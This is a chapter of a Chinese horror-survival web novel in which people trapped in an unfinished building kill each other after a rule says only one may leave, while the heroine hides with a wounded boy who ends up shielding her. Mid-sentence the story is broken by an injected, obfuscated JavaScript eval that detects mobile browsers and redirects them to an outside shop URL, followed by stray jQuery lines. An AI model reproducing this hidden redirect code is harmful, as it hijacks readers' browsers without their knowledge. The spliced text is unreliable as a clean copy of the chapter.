14. 逃离屠宰场

作品:《攻略对象竟然是蜘蛛

    “……这是怎么回事,规则怎么突然变成这样!”有人被突如其来的变化搞得不知所措,说话的嗓音都在颤抖。


    “逃离屠宰场……看来姓屠的还真不是域主,不光不是,还是这栋楼的维护者,可恨的是被蒙勇杀死了,烂尾楼彻底变成了屠宰场,最后……只能有一个人活下来?”


    说话这人很快被染着一头黄毛的青年推开。


    这青年叫陈弹,和张载臣都是来首都打工,俩人因为小偷小摸被辞退,阴差阳错发现烂尾楼,没成想刚踏进烂尾楼就进了诡域。


    一开始楼里人还多,两人不敢出头,后来除了老弱就是女人,俩人隐隐有当头的意思,谁都不敢惹,每次大堂领餐的时候,永远都是他俩排在前面。


    他俩推开楼门前的文弱男人,开始研究新出现的文字。


    随后,两人对视一眼,目露惊恐。


    他俩这段时间在烂尾楼猖狂惯了,谁见到都畏畏缩缩,领餐也从不敢排在他们前面,这助长了他俩的气焰,可是面对新出现的规则,面色还未因其中的深意发生变化,一柄屠刀便自后挥舞,毫不留情地将陈弹连同张载臣,砍倒在地。


    不知是谁发出了第一声的尖叫,场面彻底乱了。


    薛玉窈扶着墙,望向站在血泊里的男人,更准确地说,是一个上了年纪的男人。


    楼里的人都称他徐伯,在大家刚困进烂尾楼时,也有过那么一段还算团结的时光。


    徐伯是和一个十四五的孙子一起困进来的,他自称在乡下是开养殖场的,后来养殖场发了疫病,钱都赔光了,家里发生了不好的变化,他就带着孙子来首都投奔儿子儿媳,可惜麻绳专挑细处断。


    儿子儿媳用大半辈子的积蓄,买了一套房子,原本想接老家的父亲孩子来大城市,可房子烂尾,俩人痛不欲生,双双跳楼丧生,徐伯就带着孙子住进了烂尾楼,还没住热乎,就进了诡域。


    而徐伯的孙子,也在几周前,被带走了。


    “徐伯,你……”


    徐伯垂着眼:“我虽然老了,可是脑子还算中用,那些话听明白了,这栋楼变成了屠宰场,只能有一个人离开,与其等到被屠刀手杀死,担惊受怕,不如……”


    他闭上眼睛,很快睁开,一双老眼浑浊泛红:“我解决掉大家吧,我没跟你们说过,我从前干过养殖场,也干过屠夫的活,村里过年杀鸡杀鹅杀猪,都是我亲自拿刀,我很熟练,不会让你们很痛的……”


    他环视一圈,朝着离得最近的文弱男走去,“对不起大家了,我孙子消失了,他那么乖那么听话,肯定被放走了,他一个人孤零零的,还在外面等着我,我不能死。”


    文弱男比徐伯高一个头,可他的反抗没能起到有效的作用,徐伯年纪虽然大了,却有一把子力气,再加上他不知道从哪找到了一把砍骨刀,刀刃锋利,几乎一扬起手,文弱男就软了下去。


    楼里彻底乱了。


    有人瘫软在地放声嘶吼,有人连忙奔逃四处寻找躲避的地方,还有人像徐伯那样心怀不轨,暗暗寻找趁手的武器。


    雪雁早在情况变得危机之前,拉着李静书离开。


    李静书像是没有意识到危险,竟然还凑在前面看热闹,雪雁好不容易拉他离开,边爬楼梯,边低声数落:“……那种情况不要凑前,免得被波及,我们俩,一个是年纪轻轻的女孩,一个又是年纪轻轻的男孩,而且你的身体刚要好一点,走路还走不稳当,要是被他们围攻,我俩就完了!”


    雪雁是真的怕了,要不是昨晚见识过满屋的“腊肉”,今早的凶案现场恐怕会直接把她吓晕,现在还不敢回想,一想就浑身冒冷汗,她五指紧攥着李静书的胳膊,很不放心的样子。


    “不能回原来的房间,那里不安全……”


    最终,雪雁还是选择了四楼,不过没有回先前的房间,而是进了曾经发生过血案的407,这间屋子是四楼设施最完备的,虽然没有房门阻挡,但卧室有橱柜,厕所也有滑门,紧急之下,她还是选择藏进了卧室。


    雪雁关好卧室门,“但愿不会发现我们俩。”


    李静书一路上一直很沉默,无论雪雁做出怎样的选择,他都没有提出意见,像是提线木偶,被她拉着转来转去,最后转进了407的卧室。他垂着眼睛,长长的睫毛微微一颤,目光就落向了双手撑着窗台,使劲往外望的雪雁。


    她很适应李静书的沉默,并没觉得奇怪,而是一直打量着封死的窗户,很遗憾地说:“要是窗户能打开就好了,有危险的话还能多一条逃离的路。”


    李静书蜷缩了一下手指,随后又遗憾地垂落。


    他本来就带着旧伤,进了烂尾楼非但没得到休养,反倒添了新伤,之前徐伯杀人时,他估量过两人之间的悬殊,不得不承认,现在的他,面对徐伯毫无反抗之力。


    他的两条胳膊还有两条腿,总是提不起力气,若不是强撑着,只能靠扶墙才能行走。


    如果……


    他不得不想。


    如果两人藏身处被发现,雪雁要是打着把他推出去的想法,得逞的概率很大,她虽然是女孩,可是并不瘦,一看就是那种健康活力的身体,如果是从前的他丝毫不需要防备任何人,可现在他正是虚弱的时候。


    他无法保证任何面带善意的人遇到危险时会不会为了保命做出伤害别人的行为。


    哪怕是雪雁,他也无法保证。


    她背朝着自己,毫无防备的样子,如果他率先下手,就能得到一个暂时安全的空间,可以短暂地休息一下,但愿能养回一些体力……


    李静书漆黑的眼眸凝在雪雁身上,雪雁转身时向他投来一个眼神,但是雪雁没有注意到李静书的古怪,她坐在了床上,没有坐实,毕竟这床先前被一个陌生男人睡过,她有些膈应。


    李静书眼皮垂落,慢慢走到门口,听着门外的动静。


    寂静流淌在不算宽阔的房间。


    雪雁很想跟李静书讨论一下当前的情况,昨晚得到的出路随着屠叔被杀彻底断绝,如果按照新规则说的那样,最后只有一个人能活下去,未免有些太残酷。


    应该……还有别的办法吧?


    但她毫无头绪。


    李静书毕竟是高中生,还是书中世界真实存在的人物,都说高中时的头脑是最灵活的,看李静书的做派,很大概率是学霸,就算不是学霸,也是规规矩矩的好学生,他总能有一些想法吧?


    没等雪雁开口,就见李静书靠着房门,闭上了眼睛。


    雪雁昨晚睡得还行,但今早的凶案现场给她的冲击太大,此刻暂时脱离危险,疲惫瞬间涌来,她也闭上了眼,想着先休息一会儿,没想到这眼睛一闭,就睡了过去。


    夜晚很安静,因为有屠刀手的出现,楼里居民的争斗暂时告一段落。


    不知道是谁成为了第一个被屠宰的对象。


    当夜幕消退,天幕被湛蓝取代,迎接大家的不是希望,而是新一轮的厮杀。


    雪雁醒来时,一面庆幸昨晚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17077423|195269||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    逃过一劫,一面又担忧之后的安危。更让她伤心的是,李静书变了一副模样,他之前只是有些安静,不太爱说话,可现在看她的眼神格外凉,整个人像是笼罩一层薄薄的凉雾,雪雁主动交流想法,得到的却是李静书冷淡的回应。


    她并不笨,很快就想通了。


    应该是逃离屠宰场最后那句话:只能有一个人离开。


    如果最后的选择落在她和李静书的身上,她会做出违背本心的事情吗?


    雪雁难过地蜷缩在墙角,眼泪很不争气地湿透眼睫。


    她不知道该怎样解决和李静书当前的隔阂,无法做出保证,更没法证明她面临选择时本能的决定。


    好不容易熬到傍晚,雪雁计划一直躲藏的想法发生了动摇。


    她很饿。


    昨天一天没有进食,今天一整天也没有进食。


    不光饿,她也很渴。


    仅仅是两天一夜,她就受不了,肚子里像是有个小人在不满地吼叫。


    雪雁眼睛发直。


    她想到堆在412的零食,412就在斜对面,只需要几步就能走到,她拿到食物可以再回来,楼里的人越来越少,未必有人刚好在四楼,只要她小心一些。


    这样想着,雪雁站起来,往门口走。


    李静书听到动静,目光落在她身上。


    就见原先脸颊圆圆的女孩,短短一个白天,就消瘦了下去,那双晶亮的黑眼睛也黯淡了些。


    他无声望着,薄薄的唇抿了起来。


    雪雁没和他说话,她也是有脾气的,她只觉得失望。


    两人虽然认识几天,但这几天同生共死,应该比别人有更多的信任,可他就因为规则对她面露冷意,她一方面觉得被怀疑人品感到委屈,一方面又为如此脆弱的关系感到难过。


    她低着头,不看李静书,去拉门。


    果然没有人。


    雪雁抱着食物回到407,卧室的房门关得死死的,她正得意自己的幸运,可空气里却夹杂着一股奇怪的味道,她使劲闻了闻,惊恐地发现是血味,就在她的眼前,几滴鲜血落在地面,像是被揉烂的玫瑰花液。


    雪雁猛然抬眼,看到了贴靠在进门处的年轻男人,这人雪雁有印象,是五楼的一个男人,戴着一副方框眼镜,文质彬彬的模样,此时他离雪雁很近,他的大腿被砍了一刀,正流着血,血落在地面,形成一道蜿蜒的痕迹。


    他阴沉的脸在看到雪雁时,露出微不可查的笑:“还以为今晚死定了,天无绝人之路。”


    两人离得很近,雪雁的后面是茶几,她往后退一步,被挡住了退路,绝望望着那柄朝她胸口落下的水果刀,给她反应的时间只有几秒钟,这短短的几秒钟,她想逃,可身体根本做不出反应,血液凝固,心脏狂跳。


    想象中的痛意没能出现,雪雁愣怔望着突然出现在面前的胳膊,那是一条瘦到几乎全是骨头的胳膊,皮肤很白,没有血色的白,此时被扎出一个血口,将那薄白的皮肤染上了红。


    雪雁再抬眸,看到一张寡白的脸,少年额头冷汗淋漓落下,依旧是那双漆黑的眼睛。


    他浑身无力,不敌眼镜男人癫狂时的爆发,做出了连他自己都没想到的行为,他挡在了雪雁的面前,完好的那条胳膊半揽着她。


    一声声闷哼在嗓子眼里响起。


    眼镜男人往李静书胳膊、脊背狠划几刀,确认比自己伤得还重,这才收刀,连同雪雁的零食,一起抢走进了卧房,关门上锁。